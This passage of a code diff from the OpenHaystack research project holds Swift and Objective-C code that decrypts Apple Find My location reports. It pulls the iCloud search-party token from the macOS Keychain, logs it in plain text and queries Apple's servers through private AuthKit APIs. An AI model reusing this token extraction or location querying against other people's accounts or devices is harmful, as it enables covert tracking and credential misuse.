_ = withUnsafeMutableBytes(of: &accuracy, { content.subdata(in: 8..<9).copyBytes(to: $0) })
let latitudeDec = Double(latitude) / 10000000.0
let longitudeDec = Double(longitude) / 10000000.0
return FindMyLocationReport(
lat: latitudeDec, lng: longitudeDec, acc: accuracy, dP: report.datePublished,
t: report.timestamp, c: report.confidence)
}
static func kdf(fromSharedSecret secret: Data, andEphemeralKey ephKey: Data) -> Data {
var shaDigest = SHA256()
shaDigest.update(data: secret)
var counter: Int32 = 1
let counterData = Data(
Data(bytes: &counter, count: MemoryLayout.size(ofValue: counter)).reversed())
shaDigest.update(data: counterData)
shaDigest.update(data: ephKey)
let derivedKey = shaDigest.finalize()
return Data(derivedKey)
}
}

View File

@@ -0,0 +1,238 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Combine
import Foundation
import SwiftUI
class FindMyController: ObservableObject {
static let shared = FindMyController()
@Published var error: Error?
@Published var devices = [FindMyDevice]()
func loadPrivateKeys(
from data: Data, with searchPartyToken: Data, completion: @escaping (Error?) -> Void
) {
do {
let devices = try PropertyListDecoder().decode([FindMyDevice].self, from: data)
self.devices.append(contentsOf: devices)
self.fetchReports(with: searchPartyToken, completion: completion)
} catch {
self.error = FindMyErrors.decodingPlistFailed(message: String(describing: error))
}
}
func importReports(reports: [FindMyReport], and keys: Data, completion: @escaping () -> Void)
throws
{
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: keys)
// Decrypt the reports with the imported keys
DispatchQueue.global(qos: .background).async {
// Add the reports to the according device by finding the right key for the report
for report in reports {
guard
let deviceIndex = devices.firstIndex(where: { (device) -> Bool in
device.keys.contains { (key) -> Bool in
key.hashedKey.base64EncodedString() == report.id
}
})
else {
print("No device found for id")
continue
}
if var reports = devices[deviceIndex].reports {
reports.append(report)
devices[deviceIndex].reports = reports
} else {
devices[deviceIndex].reports = [report]
}
}
self.devices = devices
// Decrypt the reports
self.decryptReports {
self.exportDevices()
DispatchQueue.main.async {
completion()
}
}
}
}
func importDevices(devices: Data) throws {
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: devices)
// Delete the decrypted reports
for idx in devices.startIndex..<devices.endIndex {
devices[idx].decryptedReports = nil
}
self.devices = devices
// Decrypt reports again with additional information
self.decryptReports {
}
}
func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
DispatchQueue.global(qos: .background).async {
let fetchReportGroup = DispatchGroup()
let fetcher = ReportsFetcher()
var devices = self.devices
for deviceIndex in 0..<devices.count {
fetchReportGroup.enter()
devices[deviceIndex].reports = []
// Only use the newest keys for testing
let keys = devices[deviceIndex].keys
let keyHashes = keys.map({ $0.hashedKey.base64EncodedString() })
// 21 days
let duration: Double = (24 * 60 * 60) * 21
let startDate = Date() - duration
fetcher.query(
forHashes: keyHashes,
start: startDate,
duration: duration,
searchPartyToken: searchPartyToken
) { jd in
guard let jsonData = jd else {
fetchReportGroup.leave()
return
}
do {
// Decode the report
let report = try JSONDecoder().decode(FindMyReportResults.self, from: jsonData)
devices[deviceIndex].reports = report.results
} catch {
print("Failed with error \(error)")
devices[deviceIndex].reports = []
}
fetchReportGroup.leave()
}
}
// Completion Handler
fetchReportGroup.notify(queue: .main) {
print("Finished loading the reports. Now decrypt them")
// Export the reports to the desktop
var reports = [FindMyReport]()
for device in devices {
for report in device.reports! {
reports.append(report)
}
}
#if EXPORT
if let encoded = try? JSONEncoder().encode(reports) {
let outputDirectory = FileManager.default.urls(
for: .desktopDirectory, in: .userDomainMask
).first!
try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
}
#endif
DispatchQueue.main.async {
self.devices = devices
self.decryptReports {
completion(nil)
}
}
}
}
}
func decryptReports(completion: () -> Void) {
print("Decrypting reports")
// Iterate over all devices
for deviceIdx in 0..<devices.count {
devices[deviceIdx].decryptedReports = []
let device = devices[deviceIdx]
// Map the keys in a dictionary for faster access
guard let reports = device.reports else { continue }
let keyMap = device.keys.reduce(
into: [String: FindMyKey](), { $0[$1.hashedKey.base64EncodedString()] = $1 })
let accessQueue = DispatchQueue(
label: "threadSafeAccess",
qos: .userInitiated,
attributes: .concurrent,
autoreleaseFrequency: .workItem, target: nil)
var decryptedReports = [FindMyLocationReport](
repeating:
FindMyLocationReport(lat: 0, lng: 0, acc: 0, dP: Date(), t: Date(), c: 0),
count: reports.count)
DispatchQueue.concurrentPerform(iterations: reports.count) { (reportIdx) in
let report = reports[reportIdx]
guard let key = keyMap[report.id] else { return }
do {
// Decrypt the report
let locationReport = try DecryptReports.decrypt(report: report, with: key)
accessQueue.async(flags: .barrier) {
decryptedReports[reportIdx] = locationReport
}
} catch {
return
}
}
accessQueue.sync {
devices[deviceIdx].decryptedReports = decryptedReports
}
}
completion()
}
func exportDevices() {
if let encoded = try? PropertyListEncoder().encode(self.devices) {
let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask)
.first!
try? encoded.write(to: outputDirectory.appendingPathComponent("devices-\(Date()).plist"))
}
}
}
struct FindMyControllerKey: EnvironmentKey {
static var defaultValue: FindMyController = .shared
}
extension EnvironmentValues {
var findMyController: FindMyController {
get { self[FindMyControllerKey.self] }
set { self[FindMyControllerKey.self] = newValue }
}
}
enum FindMyErrors: Error {
case decodingPlistFailed(message: String)
}

View File

@@ -0,0 +1,116 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import CryptoKit
import Foundation
/// Decode key files found in newer macOS versions.
class FindMyKeyDecoder {
/// Key files can be in different format.
/// The old <= 10.15.3 have been using normal plists.
/// Newer once use a binary format which needs different parsing
enum KeyFileFormat {
// swiftlint:disable identifier_name
/// Catalina > 10.15.4 key file format | Big Sur 11.0 Beta 1 uses a similar key
/// file format that can be parsed identically.
/// macOS 10.15.7 uses a new key file format that has not been reversed yet.
/// (The key files are protected by sandboxing and only usable from a SIP disabled)
case catalina_10_15_4
}
var fileFormat: KeyFileFormat?
func parse(keyFile: Data) throws -> [FindMyKey] {
// Detect the format at first
if fileFormat == nil {
try self.checkFormat(for: keyFile)
}
guard let format = self.fileFormat else {
throw ParsingError.unsupportedFormat
}
switch format {
case .catalina_10_15_4:
let keys = try self.parseBinaryKeyFiles(from: keyFile)
return keys
}
}
func checkFormat(for keyFile: Data) throws {
// Key files need to start with KEY = 0x4B 45 59
let magicBytes = keyFile.subdata(in: 0..<3)
guard magicBytes == Data([0x4b, 0x45, 0x59]) else {
throw ParsingError.wrongMagicBytes
}
// Detect zeros
let potentialZeros = keyFile[15..<31]
guard potentialZeros == Data(repeating: 0x00, count: 16) else {
throw ParsingError.wrongFormat
}
// Should be big sur
self.fileFormat = .catalina_10_15_4
}
fileprivate func parseBinaryKeyFiles(from keyFile: Data) throws -> [FindMyKey] {
var keys = [FindMyKey]()
// First key starts at 32
var i = 32
while i + 117 < keyFile.count {
// We could not identify what those keys were
_ = keyFile.subdata(in: i..<i + 32)
i += 32
if keyFile[i] == 0x00 {
// Public key only.
// No need to parse it. Just skip to the next key
i += 86
continue
}
guard keyFile[i] == 0x01 else {
throw ParsingError.wrongFormat
}
// Step over 0x01
i += 1
// Read the key (starting with 0x04)
let fullKey = keyFile.subdata(in: i..<i + 85)
i += 85
// Create the sub keys. No actual need,
// but we do that to put them into a similar format as used before 10.15.4
let advertisedKey = fullKey.subdata(in: 1..<29)
let yCoordinate = fullKey.subdata(in: 29..<57)
var shaDigest = SHA256()
shaDigest.update(data: advertisedKey)
let hashedKey = Data(shaDigest.finalize())
let fmKey = FindMyKey(
advertisedKey: advertisedKey,
hashedKey: hashedKey,
privateKey: fullKey,
startTime: nil,
duration: nil,
pu: nil,
yCoordinate: yCoordinate,
fullKey: fullKey)
keys.append(fmKey)
}
return keys
}
enum ParsingError: Error {
case wrongMagicBytes
case wrongFormat
case unsupportedFormat
}
}

View File

@@ -0,0 +1,203 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
// swiftlint:disable identifier_name
import CoreLocation
import Foundation
struct FindMyDevice: Codable, Hashable {
let deviceId: String
var keys = [FindMyKey]()
var catalinaBigSurKeyFiles: [Data]?
/// KeyHash: Report results
var reports: [FindMyReport]?
var decryptedReports: [FindMyLocationReport]?
func hash(into hasher: inout Hasher) {
hasher.combine(deviceId)
}
static func == (lhs: FindMyDevice, rhs: FindMyDevice) -> Bool {
lhs.deviceId == rhs.deviceId
}
}
struct FindMyKey: Codable {
internal init(
advertisedKey: Data, hashedKey: Data, privateKey: Data, startTime: Date?, duration: Double?,
pu: Data?, yCoordinate: Data?, fullKey: Data?
) {
self.advertisedKey = advertisedKey
self.hashedKey = hashedKey
// The private key should only be 28 bytes long. If a 85 bytes full private public key is entered we truncate it here
if privateKey.count == 85 {
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
} else {
self.privateKey = privateKey
}
self.startTime = startTime
self.duration = duration
self.pu = pu
self.yCoordinate = yCoordinate
self.fullKey = fullKey
}
init(from decoder: Decoder) throws {
let container = try decoder.container(keyedBy: CodingKeys.self)
self.advertisedKey = try container.decode(Data.self, forKey: .advertisedKey)
self.hashedKey = try container.decode(Data.self, forKey: .hashedKey)
let privateKey = try container.decode(Data.self, forKey: .privateKey)
if privateKey.count == 85 {
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
} else {
self.privateKey = privateKey
}
self.startTime = try? container.decode(Date.self, forKey: .startTime)
self.duration = try? container.decode(Double.self, forKey: .duration)
self.pu = try? container.decode(Data.self, forKey: .pu)
self.yCoordinate = try? container.decode(Data.self, forKey: .yCoordinate)
self.fullKey = try? container.decode(Data.self, forKey: .fullKey)
}
/// The advertising key
let advertisedKey: Data
/// Hashed advertisement key using SHA256
let hashedKey: Data
/// The private key from which the advertisement keys can be derived
let privateKey: Data
/// When this key was used to send out BLE advertisements
let startTime: Date?
/// Duration from start time how long the key has been used to send out BLE advertisements
let duration: Double?
/// ?
let pu: Data?
/// As exported from Big Sur
let yCoordinate: Data?
/// As exported from BigSur
let fullKey: Data?
}
struct FindMyReportResults: Codable {
let results: [FindMyReport]
}
struct FindMyReport: Codable {
let datePublished: Date
let payload: Data
let id: String
let statusCode: Int
let confidence: UInt8
let timestamp: Date
enum CodingKeys: CodingKey {
case datePublished
case payload
case id
case statusCode
}
init(from decoder: Decoder) throws {
let values = try decoder.container(keyedBy: CodingKeys.self)
let dateTimestamp = try values.decode(Double.self, forKey: .datePublished)
// Convert from milis to time interval
let dP = Date(timeIntervalSince1970: dateTimestamp / 1000)
let df = DateFormatter()
df.dateFormat = "YYYY-MM-dd"
if dP < df.date(from: "2020-01-01")! {
self.datePublished = Date(timeIntervalSince1970: dateTimestamp)
} else {
self.datePublished = dP
}
self.statusCode = try values.decode(Int.self, forKey: .statusCode)
let payloadBase64 = try values.decode(String.self, forKey: .payload)
guard let payload = Data(base64Encoded: payloadBase64) else {
throw DecodingError.dataCorruptedError(
forKey: CodingKeys.payload, in: values, debugDescription: "")
}
self.payload = payload
var timestampData = payload.subdata(in: 0..<4)
let timestamp: Int32 = withUnsafeBytes(of: &timestampData) { (pointer) -> Int32 in
// Convert the endianness
pointer.load(as: Int32.self).bigEndian
}
// It's a cocoa time stamp (counting from 2001)
self.timestamp = Date(timeIntervalSinceReferenceDate: TimeInterval(timestamp))
self.confidence = payload[4]
self.id = try values.decode(String.self, forKey: .id)
}
func encode(to encoder: Encoder) throws {
var container = encoder.container(keyedBy: CodingKeys.self)
try container.encode(self.datePublished.timeIntervalSince1970 * 1000, forKey: .datePublished)
try container.encode(self.payload.base64EncodedString(), forKey: .payload)
try container.encode(self.id, forKey: .id)
try container.encode(self.statusCode, forKey: .statusCode)
}
}
struct FindMyLocationReport: Codable {
let latitude: Double
let longitude: Double
let accuracy: UInt8
let datePublished: Date
let timestamp: Date?
let confidence: UInt8?
var location: CLLocation {
return CLLocation(latitude: latitude, longitude: longitude)
}
init(lat: Double, lng: Double, acc: UInt8, dP: Date, t: Date, c: UInt8) {
self.latitude = lat
self.longitude = lng
self.accuracy = acc
self.datePublished = dP
self.timestamp = t
self.confidence = c
}
init(from decoder: Decoder) throws {
let values = try decoder.container(keyedBy: CodingKeys.self)
self.latitude = try values.decode(Double.self, forKey: .latitude)
self.longitude = try values.decode(Double.self, forKey: .longitude)
do {
let uAcc = try values.decode(UInt8.self, forKey: .accuracy)
self.accuracy = uAcc
} catch {
let iAcc = try values.decode(Int8.self, forKey: .accuracy)
self.accuracy = UInt8(bitPattern: iAcc)
}
self.datePublished = try values.decode(Date.self, forKey: .datePublished)
self.timestamp = try? values.decode(Date.self, forKey: .timestamp)
self.confidence = try? values.decode(UInt8.self, forKey: .confidence)
}
}
enum FindMyError: Error {
case decryptionError(description: String)
}

View File

@@ -0,0 +1,32 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleDevelopmentRegion</key>
<string>$(DEVELOPMENT_LANGUAGE)</string>
<key>CFBundleExecutable</key>
<string>$(EXECUTABLE_NAME)</string>
<key>CFBundleIconFile</key>
<string></string>
<key>CFBundleIdentifier</key>
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>$(PRODUCT_NAME)</string>
<key>CFBundlePackageType</key>
<string>$(PRODUCT_BUNDLE_PACKAGE_TYPE)</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleVersion</key>
<string>1</string>
<key>LSMinimumSystemVersion</key>
<string>$(MACOSX_DEPLOYMENT_TARGET)</string>
<key>NSHumanReadableCopyright</key>
<string>Copyright © 2021 SEEMOO - TU Darmstadt. All rights reserved.</string>
<key>NSMainStoryboardFile</key>
<string>Main</string>
<key>NSPrincipalClass</key>
<string>NSApplication</string>
</dict>
</plist>

View File

@@ -0,0 +1,25 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Cocoa
import MapKit
import SwiftUI
struct MapView: NSViewControllerRepresentable {
@Environment(\.findMyController) var findMyController
func makeNSViewController(context: Context) -> MapViewController {
return MapViewController(nibName: NSNib.Name("MapViewController"), bundle: nil)
}
func updateNSViewController(_ nsViewController: MapViewController, context: Context) {
nsViewController.addLocationsReports(from: findMyController.devices)
}
}

View File

@@ -0,0 +1,55 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Cocoa
import MapKit
final class MapViewController: NSViewController, MKMapViewDelegate {
@IBOutlet weak var mapView: MKMapView!
var pinsShown = false
override func viewDidLoad() {
super.viewDidLoad()
self.mapView.delegate = self
}
func addLocationsReports(from devices: [FindMyDevice]) {
if !self.mapView.annotations.isEmpty {
self.mapView.removeAnnotations(self.mapView.annotations)
}
// Zoom to first location
if let location = devices.first?.decryptedReports?.first {
let coordinate = CLLocationCoordinate2D(
latitude: location.latitude, longitude: location.longitude)
let span = MKCoordinateSpan(latitudeDelta: 5.0, longitudeDelta: 5.0)
let region = MKCoordinateRegion(center: coordinate, span: span)
self.mapView.setRegion(region, animated: true)
}
// Add pins
for device in devices {
guard let reports = device.decryptedReports else { continue }
for report in reports {
let pin = MKPointAnnotation()
pin.title = device.deviceId
pin.coordinate = CLLocationCoordinate2D(
latitude: report.latitude, longitude: report.longitude)
self.mapView.addAnnotation(pin)
}
}
}
func changeMapType(_ mapType: MKMapType) {
self.mapView.mapType = mapType
}
}

View File

@@ -0,0 +1,34 @@
<?xml version="1.0" encoding="UTF-8"?>
<document type="com.apple.InterfaceBuilder3.Cocoa.XIB" version="3.0" toolsVersion="16097" targetRuntime="MacOSX.Cocoa" propertyAccessControl="none" useAutolayout="YES" customObjectInstantitationMethod="direct">
<dependencies>
<plugIn identifier="com.apple.InterfaceBuilder.CocoaPlugin" version="16097"/>
<plugIn identifier="com.apple.MapKitIBPlugin" version="16097"/>
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
</dependencies>
<objects>
<customObject id="-2" userLabel="File's Owner" customClass="MapViewController" customModule="OfflineFinder" customModuleProvider="target">
<connections>
<outlet property="mapView" destination="dZd-TY-owu" id="M74-qQ-z9o"/>
<outlet property="view" destination="Hz6-mo-xeY" id="0bl-1N-x8E"/>
</connections>
</customObject>
<customObject id="-1" userLabel="First Responder" customClass="FirstResponder"/>
<customObject id="-3" userLabel="Application" customClass="NSObject"/>
<customView id="Hz6-mo-xeY">
<rect key="frame" x="0.0" y="0.0" width="480" height="272"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMinY="YES"/>
<subviews>
<mapView mapType="standard" translatesAutoresizingMaskIntoConstraints="NO" id="dZd-TY-owu">
<rect key="frame" x="0.0" y="0.0" width="480" height="272"/>
</mapView>
</subviews>
<constraints>
<constraint firstItem="dZd-TY-owu" firstAttribute="top" secondItem="Hz6-mo-xeY" secondAttribute="top" id="IQV-8E-Mz4"/>
<constraint firstAttribute="trailing" secondItem="dZd-TY-owu" secondAttribute="trailing" id="e19-Gs-Swb"/>
<constraint firstAttribute="bottom" secondItem="dZd-TY-owu" secondAttribute="bottom" id="fJ4-IC-PW6"/>
<constraint firstItem="dZd-TY-owu" firstAttribute="leading" secondItem="Hz6-mo-xeY" secondAttribute="leading" id="l08-bw-Y1N"/>
</constraints>
<point key="canvasLocation" x="66" y="37"/>
</customView>
</objects>
</document>

View File

@@ -0,0 +1,210 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import SwiftUI
struct OFFetchReportsMainView: View {
@Environment(\.findMyController) var findMyController
@State var targetedDrop: Bool = false
@State var error: Error?
@State var showMap = false
@State var loading = false
@State var searchPartyToken: Data?
@State var searchPartyTokenString: String = ""
@State var keyPlistFile: Data?
@State var showTokenPrompt = false
var dropView: some View {
ZStack(alignment: .center) {
HStack {
Spacer()
Spacer()
}
VStack {
Spacer()
Text("Drop exported keys here")
.font(Font.system(size: 44, weight: .bold, design: .default))
.padding()
Text("The keys can be exported into the right format using the Read FindMy Keys App.")
.font(.body)
.multilineTextAlignment(.center)
.padding()
Spacer()
}
}
.background(
RoundedRectangle(cornerRadius: 20.0)
.stroke(
Color.gray,
style: StrokeStyle(
lineWidth: 5.0, lineCap: .round, lineJoin: .round, miterLimit: 10, dash: [15]))
)
.padding()
.onDrop(of: ["public.file-url"], isTargeted: self.$targetedDrop) { (droppedData) -> Bool in
return self.droppedData(data: droppedData)
}
}
var loadingView: some View {
VStack {
Text("Downloading locations and decrypting...")
.font(Font.system(size: 44, weight: .bold, design: .default))
.padding()
}
}
/// This view is shown if the search party token cannot be accessed from keychain
var missingSearchPartyTokenView: some View {
VStack {
Text("Search Party token could not be fetched")
Text("Please paste the search party token below after copying it from the macOS Keychain.")
Text("The item that contains the key can be found by searching for: ")
Text("com.apple.account.DeviceLocator.search-party-token")
.font(.system(Font.TextStyle.body, design: Font.Design.monospaced))
TextField("Search Party Token", text: self.$searchPartyTokenString)
Button(
action: {
if !self.searchPartyTokenString.isEmpty,
let file = self.keyPlistFile,
let searchPartyToken = self.searchPartyTokenString.data(using: .utf8)
{
self.searchPartyToken = searchPartyToken
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
}
},
label: {
Text("Download reports")
})
}
}
var mapView: some View {
ZStack {
MapView()
VStack {
HStack {
Spacer()
Button(
action: {
self.showMap = false
self.showTokenPrompt = false
},
label: {
Text("Import other tokens")
})
Button(
action: {
self.exportDecryptedLocations()
},
label: {
Text("Export")
})
}
.padding()
Spacer()
}
}
}
var body: some View {
GeometryReader { geo in
if self.loading {
self.loadingView
} else if self.showMap {
self.mapView
} else if self.showTokenPrompt {
self.missingSearchPartyTokenView
} else {
self.dropView
.frame(width: geo.size.width, height: geo.size.height)
}
}
}
// swiftlint:disable identifier_name
func droppedData(data: [NSItemProvider]) -> Bool {
guard let itemProvider = data.first else { return false }
itemProvider.loadItem(forTypeIdentifier: "public.file-url", options: nil) { (u, _) in
guard let urlData = u as? Data,
let fileURL = URL(dataRepresentation: urlData, relativeTo: nil),
// Only plist supported
fileURL.pathExtension == "plist",
// Load the file
let file = try? Data(contentsOf: fileURL)
else { return }
print("Received data \(fileURL)")
self.keyPlistFile = file
let reportsFetcher = ReportsFetcher()
self.searchPartyToken = reportsFetcher.fetchSearchpartyToken()
if let searchPartyToken = self.searchPartyToken {
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
} else {
self.showTokenPrompt = true
}
}
return true
}
func downloadAndDecryptLocations(with keyFile: Data, searchPartyToken: Data) {
self.loading = true
self.findMyController.loadPrivateKeys(
from: keyFile, with: searchPartyToken,
completion: { error in
// Check if an error occurred
guard error == nil else {
self.error = error
return
}
// Show map view
self.loading = false
self.showMap = true
})
}
func exportDecryptedLocations() {
do {
let devices = self.findMyController.devices
let deviceData = try PropertyListEncoder().encode(devices)
SavePanel().saveFile(file: deviceData, fileExtension: "plist")
} catch {
print("Error: \(error)")
}
}
}
struct ContentView_Previews: PreviewProvider {
static var previews: some View {
OFFetchReportsMainView()
}
}

View File

@@ -0,0 +1,6 @@
{
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@@ -0,0 +1,63 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
#import <Foundation/Foundation.h>
//https://github.com/Matchstic/ReProvision/issues/96#issuecomment-551928795
#import <Security/Security.h>
NS_ASSUME_NONNULL_BEGIN
@interface AKAppleIDSession : NSObject
- (id)_pairedDeviceAnisetteController;
- (id)_nativeAnisetteController;
- (void)_handleURLResponse:(id)arg1 forRequest:(id)arg2 withCompletion:(id)arg3;
- (void)_generateAppleIDHeadersForSessionTask:(id)arg1 withCompletion:(id)arg2;
- (id)_generateAppleIDHeadersForRequest:(id)arg1 error:(id)arg2;
- (id)_genericAppleIDHeadersDictionaryForRequest:(id)arg1;
- (void)handleResponse:(id)arg1 forRequest:(id)arg2 shouldRetry:(char *)arg3;
- (id)appleIDHeadersForRequest:(id)arg1;
- (void)URLSession:(id)arg1 task:(id)arg2 getAppleIDHeadersForResponse:(id)arg3 completionHandler:(id)arg4;
- (id)relevantHTTPStatusCodes;
- (id)copyWithZone:(struct _NSZone *)arg1;
- (void)encodeWithCoder:(id)arg1;
- (id)initWithCoder:(id)arg1;
- (id)initWithIdentifier:(id)arg1;
- (id)init;
@end
@interface AKDevice
+ (AKDevice *)currentDevice;
- (NSString *)uniqueDeviceIdentifier;
- (NSString *)serialNumber;
- (NSString *)serverFriendlyDescription;
@end
@interface ReportsFetcher : NSObject
/// WARNING: Runs synchronous network request. Please run this in a background thread.
/// Query location reports for an array of public key hashes (ids)
/// @param publicKeys Array of hashed public keys (in Base64)
/// @param date Start date
/// @param duration Duration checked
/// @param searchPartyToken Search Party token
/// @param completion Called when finished
- (void) queryForHashes:(NSArray *)publicKeys startDate: (NSDate *) date duration: (double) duration searchPartyToken:(nonnull NSData *)searchPartyToken completion: (void (^)(NSData* _Nullable)) completion;
/// Fetches the search party token from the macOS Keychain. Returns null if it fails
- (NSData * _Nullable) fetchSearchpartyToken;
/// Get AnisetteData from AuthKit or return an empty dictionary
- (NSDictionary *_Nonnull) anisetteDataDictionary;
@end
NS_ASSUME_NONNULL_END

View File

@@ -0,0 +1,173 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
#import "ReportsFetcher.h"
#import <Security/Security.h>
#import <Accounts/Accounts.h>
#import "OFFetchReports-Swift.h"
@implementation ReportsFetcher
- (NSData * _Nullable) fetchSearchpartyToken {
NSDictionary *query = @{
(NSString*) kSecClass : (NSString*) kSecClassGenericPassword,
(NSString*) kSecAttrService: @"com.apple.account.AppleAccount.search-party-token",
(NSString*) kSecMatchLimit: (id) kSecMatchLimitOne,
(NSString*) kSecReturnData: @true
};
CFTypeRef item;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef) query, &item);
if (status == errSecSuccess) {
NSData *securityToken = (__bridge NSData *)(item);
NSLog(@"Fetched token %@", [[NSString alloc] initWithData:securityToken encoding:NSUTF8StringEncoding]);
if (securityToken.length == 0) {
return [self fetchSearchpartyTokenFromAccounts];
}
return securityToken;
}
return [self fetchSearchpartyTokenFromAccounts];;
}
- (NSData * _Nullable) fetchSearchpartyTokenFromAccounts {
ACAccountStore *accountStore = [[ACAccountStore alloc] init];
ACAccountType *accountType = [accountStore accountTypeWithAccountTypeIdentifier:@"com.apple.account.AppleAccount"];
NSArray *appleAccounts = [accountStore accountsWithAccountType:accountType];
if (appleAccounts == nil && appleAccounts.count > 0) {return nil;}
ACAccount *iCloudAccount = appleAccounts[0];
ACAccountCredential *iCloudCredentials = iCloudAccount.credential;
if ([iCloudCredentials respondsToSelector:NSSelectorFromString(@"credentialItems")]) {
NSDictionary* credentialItems = [iCloudCredentials performSelector:NSSelectorFromString(@"credentialItems")];
NSString *searchPartyToken = credentialItems[@"search-party-token"];
NSData *tokenData = [searchPartyToken dataUsingEncoding:NSASCIIStringEncoding];
return tokenData;
}
return nil;
}
- (NSString *) fetchAppleAccountId {
NSDictionary *query = @{
(NSString*) kSecClass : (NSString*) kSecClassGenericPassword,
(NSString*) kSecAttrService: @"iCloud",
(NSString*) kSecMatchLimit: (id) kSecMatchLimitOne,
(NSString*) kSecReturnAttributes: @true
};
CFTypeRef item;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef) query, &item);
if (status == errSecSuccess) {
NSDictionary *itemDict = (__bridge NSDictionary *)(item);
NSString *accountId = itemDict[(NSString *) kSecAttrAccount];
return accountId;
}
return nil;
}
- (NSString *) basicAuthForAppleID: (NSString *) appleId andToken: (NSData*) token {
NSString * tokenString = [[NSString alloc] initWithData:token encoding:NSUTF8StringEncoding];
NSString * authText = [NSString stringWithFormat:@"%@:%@", appleId, tokenString];
NSString * base64Auth = [[authText dataUsingEncoding:NSUTF8StringEncoding] base64EncodedStringWithOptions:0];
NSString *auth = [NSString stringWithFormat:@"Basic %@", base64Auth];
return auth;
}
- (NSDictionary *) anisetteDataDictionary {
NSMutableURLRequest* req = [[NSMutableURLRequest alloc] initWithURL:[[NSURL alloc] initWithString:@"https://gateway.icloud.com/acsnservice/fetch"]];
[req setHTTPMethod:@"POST"];
AKAppleIDSession* session = [[NSClassFromString(@"AKAppleIDSession") alloc] initWithIdentifier:@"com.apple.gs.xcode.auth"];
NSDictionary *appleHeadersDict = [session appleIDHeadersForRequest:req];
return appleHeadersDict;
}
- (void) fetchAnisetteData:(void (^)(NSDictionary* _Nullable)) completion {
// Use the AltStore mail plugin
NSDictionary *anisetteData = [self anisetteDataDictionary];
completion(anisetteData);
}
- (void) queryForHashes:(NSArray *)publicKeys startDate: (NSDate *) date duration: (double) duration searchPartyToken:(nonnull NSData *)searchPartyToken completion: (void (^)(NSData* _Nullable)) completion {
// calculate the timestamps for the defined duration
long long startDate = [date timeIntervalSince1970] * 1000;
long long endDate = ([date timeIntervalSince1970] + duration) * 1000.0;
NSLog(@"Requesting data for %@", publicKeys);
NSDictionary * query = @{
@"search": @[
@{
@"endDate": [NSString stringWithFormat:@"%lli", endDate],
@"ids": publicKeys,
@"startDate": [NSString stringWithFormat:@"%lli", startDate]
}
]
};
NSData *httpBody = [NSJSONSerialization dataWithJSONObject:query options:0 error:nil];
NSLog(@"Query : %@",query);
NSString *authKey = @"authorization";
NSData *securityToken = searchPartyToken;
NSString *appleId = [self fetchAppleAccountId];
NSString *authValue = [self basicAuthForAppleID:appleId andToken:securityToken];
[self fetchAnisetteData:^(NSDictionary * _Nullable dict) {
if (dict == nil) {
completion(nil);
return;
}
NSMutableURLRequest* req = [[NSMutableURLRequest alloc] initWithURL:[[NSURL alloc] initWithString:@"https://gateway.icloud.com/acsnservice/fetch"]];
[req setHTTPMethod:@"POST"];
[req setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
[req setValue:@"application/json" forHTTPHeaderField:@"Accept"];
[req setValue:authValue forHTTPHeaderField:authKey];
NSDictionary *appleHeadersDict = dict;
for(id key in appleHeadersDict)
[req setValue:[appleHeadersDict objectForKey:key] forHTTPHeaderField:key];
NSLog(@"Headers:\n%@",req.allHTTPHeaderFields);
[req setHTTPBody:httpBody];
NSURLResponse * response;
NSError * error = nil;
NSData * data = [NSURLConnection sendSynchronousRequest:req returningResponse:&response error:&error];
if (error) {
NSLog(@"Error during request: \n\n%@", error);
}
